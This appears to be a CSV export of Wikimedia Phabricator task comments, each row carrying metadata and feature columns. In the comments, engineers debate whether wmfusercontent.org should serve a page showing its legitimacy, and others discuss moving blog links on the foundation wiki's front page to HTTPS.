+T102815 (removed junk www subdomains from all the language wikis...)
+T102814 (removed junk multi-level subdomains of wikipedia.org)
+T102826 (as above for wikimedia.org)
+T102827 (the special case of the oddball donate subdomain)
+T107575 (problems caused by pointlessly aliasing a site from one domain to another)
+T110511 (basically the same)
+ 
+... And that's just the links I could dredge up quickly on the specific topic of pointless hostnames.  Look how long it took to resolve those of them that are even resolved.  Some will remain outstanding for months.  Some have taken up pages of discussions, helped induced critical bugs due the added complexities of working around them, wasted time pushing more changes through gerrit, etc.  The time burden wasted on these kinds of things is significant in the long run when they can hold up, detract from, or make more-complicated other work years into the future.",,,1442264847,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+527070,(www.)wmfusercontent.org should respond to HTTP,"These are the kinds of things I've had to deal with over the past several months, most of which could've been avoided by and are a part of this larger philosophical problem, IMHO:
+
+T101048 (we have 140+ junk redirect domains to deal with...)
+T102815 (removed junk www subdomains from all the language wikis...)
+T102814 (removed junk multi-level subdomains of wikipedia.org)
+T102826 (as above for wikimedia.org)
+T102827 (the special case of the oddball donate subdomain)
+T107575 (problems caused by pointlessly aliasing a site from one domain to another)
+T110511 (basically the same)
+ 
+... And that's just the links I could dredge up quickly on the specific topic of pointless hostnames.  Look how long it took to resolve those of them that are even resolved.  Some will remain outstanding for months.  Some have taken up pages of discussions, helped induced critical bugs due the added complexities of working around them, wasted time pushing more changes through gerrit, etc.  The time burden wasted on these kinds of things is significant in the long run when they can hold up, detract from, or make more-complicated other work years into the future.",,,1442264693,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+527062,(www.)wmfusercontent.org should respond to HTTP,We seem to have come full circle... I'm still not convinced that it's worth spending more time discussing this than it would take to fix the issue!,,,1442264167,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+527051,(www.)wmfusercontent.org should respond to HTTP,"Why would anyone go there?  That hostname doesn't exist, and has never been linked anywhere.",,,1442263785,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0
+527049,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639106, @BBlack wrote:
+>>>! In T104735#1639085, @Mike_Peel wrote:
+>>>>! In T104735#1639062, @BBlack wrote:
+>>> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
+>> 
+>> We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?
+> 
+> It does have an HTTP response.  Go type `phab.wmfusercontent.org` into your browser.  As for simpler, that all depends on your point of view about the costs here.  I'm willing to waste time on this trivial issue because I want to reverse a trend that over time creates hundreds and thousands of little costs that seem simple up-front, but carry a long-term maintenance burden in the aggregate.
+
+This ticket is about wmfusercontent.org . That doesn't have a HTTP response.",,,1442263623,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1
+527047,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639085, @Mike_Peel wrote:
+>>>! In T104735#1639062, @BBlack wrote:
+>> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
+> 
+> We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?
+
+It does have an HTTP response.  Go type `phab.wmfusercontent.org` into your browser.  As for simpler, that all depends on your point of view about the costs here.  I'm willing to waste time on this trivial issue because I want to reverse a trend that over time creates hundreds and thousands of little costs that seem simple up-front, but carry a long-term maintenance burden in the aggregate.",,,1442263537,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1
+527042,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639062, @BBlack wrote:
+> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
+
+We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?",,,1442263306,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1
+527038,(www.)wmfusercontent.org should respond to HTTP,"But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.",,,1442262967,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+527032,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639019, @BBlack wrote:
+> Yeah but if you look closer, that example (en + bits) doesn't share anything but the trailing `.org`.  It's wiki**P**edia vs wiki**M**edia.  Similarly, all of our wikis under `wikipedia.org` also make hits at various times to e.g. `login.wikimedia.org` too.
+
+I saw that before I replied. :-) We have meta.wikimedia.org, commons.wikimedia.org and other XX.wikimedia.org projects that provide confidence in the validity of that domain. Sure, it would be nice to use a single domain for everything, but Wikipedia vs. Wikimedia is a very different conversation!",,,1442262731,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+527026,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639009, @Mike_Peel wrote:
+>>>! In T104735#1638960, @BBlack wrote:
+>> The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.
+> 
+> That example would be a great way forward: keep the domain names to a minimum, and use subdomains to point towards different servers. That way, there are minimal different domain names to verify, and there's the confidence in them provided by their use for the main projects. As an example: phabricator.wikimedia.org is far more trustworthy than wikimediaphabricator.org would be.
+
+Yeah but if you look closer, that example (en + bits) doesn't share anything but the trailing `.org`.  It's wiki**P**edia vs wiki**M**edia.  Similarly, all of our wikis under `wikipedia.org` also make hits at various times to e.g. `login.wikimedia.org` too.",,,1442262498,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,1
+527022,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1638960, @BBlack wrote:
+> The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.
+
+That example would be a great way forward: keep the domain names to a minimum, and use subdomains to point towards different servers. That way, there are minimal different domain names to verify, and there's the confidence in them provided by their use for the main projects. As an example: phabricator.wikimedia.org is far more trustworthy than wikimediaphabricator.org would be.",,,1442262325,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,1
+527003,(www.)wmfusercontent.org should respond to HTTP,"The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.
+
+The crux here is: how does one define whether these alternate domains are ""3rd party"" or legitimate?  There really is no good way to know that, although you could get heuristically close with whois lookups perhaps (which this case would pass muster on).  The bottom line is that the original site you visited (`phabricator.wikimedia.org`) sent you links to that ""third party"" domain (`phab.wmfusercontent.org`).  Either you trust that the original site is uncompromised and operates that way normally and accept it as functional and fine, or... well, there's really no other alternative.
+
+The alternative is you wonder if `phab.wmfusercontent.org` is actually owned by some malicious third party and `phabricator.wikimedia.org` was somehow compromised into linking you there.  However, in that scenario, the malicious third party also controls what you're asking to see as verification: any other content also hosted at that malicious domain, which the attacker might fill in as ""Hey this is totally a legit site operated by the WMF"".  That aside, the arguments for `wmfusercontent.org` and/or `www.wmfusercontent.org` make no fundamental sense to begin with.  The links you're trying to investigate were to `phab.wmfusercontent.org`, which actually **does** load and show you a copy of the main phabricator site.  You can't just go invent other non-existent hostnames that happen to be in the same domain to do your verification with, that makes no fundamental sense.
+
+At the root of it all, if you (or by extension, some browser extension?) thinks that heading to `https://wmfusercontent.org` really tells you *anything* useful that you want or need to know to validate something about our phab pages, you're mistaken.  There's no point in appeasing the mistaken and invalid assumptions of a small minority by introducing new hostnames and pages into our infrastructure.  This is one of many many examples of a historical pattern here at the WMF of defaulting to creating any and everything anyone ever asks for without regard to the utility of it or any kind of long-term cost:benefit analysis...",,,1442261699,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+526986,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1632982, @Ricordisamoa wrote:
+>>>! In T104735#1632583, @BBlack wrote:
+>> This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?
+> 
+> I am one of them.
+
+I came across this issue when I was trying to use an extension that restricted access to third-party domains when I accessed websites (see T104730, which might be a duplicate of this report or vice-versa?). It seemed odd that this website was linked to then, even more so since it didn't provide any information about what the URL was being used for by HTTP.
+
+It would be trivial to add a splash page to the domain, or to redirect it appropriately - probably far less time than the discussion on these two tickets has taken up!",,,1442260939,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+525714,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1632583, @BBlack wrote:
+> This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?
+
+I am one of them.",,,1442013313,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+525637,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1632564, @Krinkle wrote:
+> https://phab.wmfusercontent.org is served with a wildward certificate. So we do have one. And phab.wmfusercontent.org is served from varnish/misc so presumably the certificates is already installed as well.
+
+Again, this issue has nothing to do with HTTPS/TLS issues.  It's all fine on that level, yes.
+
+> Pointing wmfusercontent.org there would solve this I think. Given the below works:
+>  
+> ```
+> $ curl 'https://phab.wmfusercontent.org' -H 'Host: wmfusercontent.org'
+>> ... Error: 404, Domain not served here ..
+> ```
+> 
+> It's not forensic proof, but it's a courtesy to our users. (Perhaps akin to <https://www.gstatic.com> or <https://googleapis.com>)
+
+I think the question is, why?  There was some IRC discussion on this before.  It doesn't really prove anything, and we're not publishing or linking those hostnames anywhere.  This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?",,,1442006450,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+525633,(www.)wmfusercontent.org should respond to HTTP,"https://phab.wmfusercontent.org is served with a wildward certificate. So we do have one. And phab.wmfusercontent.org is served from varnish/misc so presumably the certificates is already installed as well.
+
+Pointing wmfusercontent.org there would solve this I think. Given the below works:
+ 
+```
+$ curl 'https://phab.wmfusercontent.org' -H 'Host: wmfusercontent.org'
+> ... Error: 404, Domain not served here ..
+```
+
+It's not forensic proof, but it's a courtesy to our users. (Perhaps akin to <https://www.gstatic.com> or <https://googleapis.com>)",,,1442006112,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+525520,(www.)wmfusercontent.org should respond to HTTP,"There's some confusion here due to the use of ""HTTP"".  This issue isn't about protocol (HTTP vs HTTPS).  It's just about whether, if a user were to browse to `https://www.wmfusercontent.org` (or the root domain as `https://wmfusercontent.org`), there should actually be an HTML page there, or some other indication of the domain's legitimacy or purpose.  Right now there is no address for that, and users would have to type or guess or `https://www.wmfusercontent.org` based on investigating that they saw the browser load some content from `phab.wmfusercontent.org`.
+
+It sounds nice on the surface, but honestly it doesn't prove anything to the user in any legitimate sense, so it seems wasteful to even set it up.",,,1442000434,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+525500,(www.)wmfusercontent.org should respond to HTTP,"That having an HTTP page was a good solution or even a desired one (because the lack of TLS). I didn't participate on the discussion, though, not remember it very well, but I wanted to reflect the reality ""no one is working on this"" by lowering the priority.",,,1441998825,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+525496,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1631506, @jcrespo wrote:
+> I want to remember there was some disagreement on this issue.
+
+What disagreement?",,,1441998629,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+525411,(www.)wmfusercontent.org should respond to HTTP,I want to remember there was some disagreement on this issue.,,,1441993701,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+486856,(www.)wmfusercontent.org should respond to HTTP,"Change 222860 abandoned by John F. Lewis:
+(www.)wmfusercontent.org point to text-lb
+
+[[https://gerrit.wikimedia.org/r/222860]]",,,1436137699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+486639,(www.)wmfusercontent.org should respond to HTTP,"Change 222860 had a related patch set uploaded (by John F. Lewis):
+(www.)wmfusercontent.org point to text-lb
+
+[[https://gerrit.wikimedia.org/r/222860]]
+",,,1436051311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+486638,(www.)wmfusercontent.org should respond to HTTP,"Change 222859 abandoned by John F. Lewis:
+(www.)wmfusercontent.org point to text-lb
+
+[[https://gerrit.wikimedia.org/r/222859]]",,,1436051217,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+486637,(www.)wmfusercontent.org should respond to HTTP,"Change 222859 had a related patch set uploaded (by John F. Lewis):
+(www.)wmfusercontent.org point to text-lb
+
+[[https://gerrit.wikimedia.org/r/222859]]
+",,,1436050967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+104728,make blog links from wmfwiki front page use HTTPS links,"https://wikimediafoundation.org/wiki/Home#Recent_Wikimedia_blog_posts
+
+make blog links from wmfwiki front page use HTTPS links.
+
+should we also make the blog force HTTPS too now that the wikis are?",Low,25.0,1435950137,1471634159.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-tafu2uuupsf2oupzja23,True,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_description,resolved,True,c3,3,False,False,False,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+618415,make blog links from wmfwiki front page use HTTPS links,"It's marked as a blocker.
+
+And needs someone to make upstream actually do it.",,,1456456912,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+618414,make blog links from wmfwiki front page use HTTPS links,"Oh, I see. So maybe this should be marked as a duplicate.",,,1456456760,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+618413,make blog links from wmfwiki front page use HTTPS links,"yes, it's T104726",,,1456456699,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+618412,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065750, @Krenair wrote:
+> They all show as HTTP links now.
+
+I have no idea what is going on. It seems to have been caused by the publication of a new blogpost?
+
+In any case, I think this is caused by the feed itself (https://blog.wikimedia.org/feed/) outputting links in HTTP, not too sure what can be done about that.",,,1456456646,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+618407,make blog links from wmfwiki front page use HTTPS links,They all show as HTTP links now.,,,1456455662,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+618398,make blog links from wmfwiki front page use HTTPS links,They all look like HTTPS links to me now. I think something must have changed on the blog side.,,,1456452067,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
